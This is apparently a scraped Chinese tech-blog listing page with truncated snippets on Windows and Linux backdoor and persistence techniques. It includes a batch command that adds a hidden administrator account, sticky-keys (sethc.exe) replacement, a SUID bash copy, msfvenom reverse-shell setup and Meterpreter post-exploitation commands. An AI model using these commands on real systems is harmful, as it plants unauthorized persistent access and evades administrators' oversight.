一、Windows服务后门介绍在Windows系统中还有一个重要的机制，就是服务
原创
2022-11-14 21:58:56
656阅读
嗅探欺骗： 在目标机上安装嗅探工具窃取管理员的密码 放大镜替换： 构造批处理： @echo off net user gslw$ test168 /add net localgroup administrators gslw$ /add %Windir%\system32\nagnify.exe e
转载
2018-11-04 12:41:00
131阅读
2评论
一、Windows启动项后门介绍Windows启动项后门也是攻击者常用的权限维持方式，大体上可以分为两种。一种是重启电脑时自启动后门程序实现权限维持；另一种
原创
2022-11-14 20:52:23
809阅读
一、Windows计划任务后门介绍计划任务是经常被攻击者拿来利用的控
原创
2022-11-14 21:57:40
792阅读
0X01简介 这里我本来想学习 msf利用漏洞反弹shell的 但是 没有靶机....等找了靶机在弄吧 kali 172.18.5.118 靶机 172.18.5.240 先尝试能不能ping通 好的可以 那我们进行下一步 0X01爱之初体验 先在kali终端输入msfvenom -l，打开payl
原创
2021-07-17 16:23:08
1913阅读
在讨论脚本后门前，先要介绍一类很有用的WMI对象。事实上，这才是本节的关键。脚本后门不过是它的一个应用而已。
前面已经说过，WMI是事件驱动的。整个事件处理机制分为四个部分： 1，事件生产者(provider)：负责产生事件。WMI包含大量的事件生产者。有性能计数器之类的具体的事件生产者，也有类、实例的创建、修改、删除等通
转载
精选
2010-08-08 22:25:16
1626阅读
在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打开shell了。
参考McafeeAvertLabs：
http://feeds.feedburner.com/~r/McafeeAvertLabsBlog/~3/101149799/
转载
精选
2007-09-07 08:58:00
639阅读
一、shift粘贴键后门介绍Shift粘滞键是当用户连按5次shift就会自动弹出的一个程序
原创
2022-11-14 21:59:53
648阅读
一：安装ICMP SHELL
首先下载ish-v0.2.tar.gz程序，下载地址：http://cdnetworks-kr-1.dl.sourceforge.net/project/icmpshell/ish/v0.2/ish-v0.2.tar.gz，或者可以到附件中去下载。
wget&nb
原创
2011-06-10 11:01:55
3951阅读
后门是攻击者出入系统的通道，惟其如此它隐蔽而危险。攻击者利用后门技术如入无人之境，这是用户的耻辱。针对Windows系统的后门是比较多的，对于一般的后门也为大家所熟知。下面笔者揭秘四个可能不为大家所了解但又非常危险的后门。 1、嗅探欺骗，最危险的后门 这类后门是攻击者在控制了主机之后，并不创建新的帐户而是在主机上安装嗅探工具窃取管理员的密码。由于此类后门，并不创建新的帐户而是通过嗅探获取的管
转载
精选
2012-07-10 11:28:02
864阅读
1.是用superdoor这个工具(要VB运行库) 用法：door user password 例 ：door xysky$ 123456
在CMD中和计算机管理看不到，要注册表中可以看高手用winlogo查PID 一看就知了，还要，进注册表也可附，如果在运行CMD的时候进注册表这里，会报错，哈！
PS：偶一直少用这个工具，晕，被杀撒！
2.在注册表中克隆一个建立隐藏
转载
精选
2008-07-15 23:37:50
1144阅读
前提:你现在已经是root用户， 想留一个后门。系统环境:dawg:~# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux1. SUID shell首先, 先切换成为root用户，并执行以下的命令:dawg:~# cp /bin/bash /.wootdawg:~# chmod 4755
转载
精选
2014-03-10 08:12:47
850阅读
php执行shell命令，可以使用下面几个函数：string system ( string $command [, int &$return_var ] )string exec ( string $command [, array &$output [, int &$return_var ]] )void passthru ( string $command [, int &$return_var ] ) 注意的是：这三个函数在默认的情况下，都是被禁止.
原创
2021-05-24 10:16:14
1439阅读
一、Windows系统隐藏账户介绍系统隐藏账户是一种最为简单有效的权限维持方式，其做法就是让攻击者创建一个新的具有管理员权限的隐藏账户，因为是隐藏账户，所以防守方是无法通过控制面板或命令行看到这个账户的。二、Windows
原创
2022-11-14 21:41:05
2026阅读
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力，本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。0x01.系统命令1）基本系统命令sessions #sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
backgro
转载
2024-06-13 07:20:14
61阅读
背景
在渗透测试过程中，我们常常会遇到这种情况，目标上的木马被杀了，留了正向后门，却因为windows防火墙的原因，无法唤醒。所以我们就需要一种方法，来bypass防火墙唤醒我们的后门或者作为后门。
技术细节
选择协议
首先我们要远程唤醒，必然是要选择一种网络协议的。为了满足我们的需求，传输层及以传输层以上的协议是必然不能选择的。物理层和数据链路层是我们无法控制的。所以我们只能选择网络层的协议
转载
2021-06-02 19:15:00
362阅读
2评论
后门原理：
转至：小章 blog [url]http://blog.csdn.net/scz123/archive/2007/03/14/1528695.aspx[/url]
在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打开s
转载
精选
2007-11-22 02:24:31
929阅读
1评论
一、安装步骤 1、拔出网线 2、安装Windows及驱动程序 3、安装杀毒软件及防火墙 4、连接网线，升级病毒库及Windows补丁 5、安装常用工具及软件 6、优化 二、Windows优化 1、禁用不必要的服务 Application Management 组策略部署软件 Certificate Propagation 
原创
2014-01-25 16:57:00
583阅读
利用COM劫持技术，最为关键的是dll的实现以及CLSID的选择，通过修改CLSID下的注册表键值，实现对CAccPropServicesClass
后门原理：
转至：小章 blog [url]http://blog.csdn.net/scz123/archive/2007/03/14/1528695.aspx[/url]
在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打
转载
精选
2008-04-21 13:43:36
687阅读
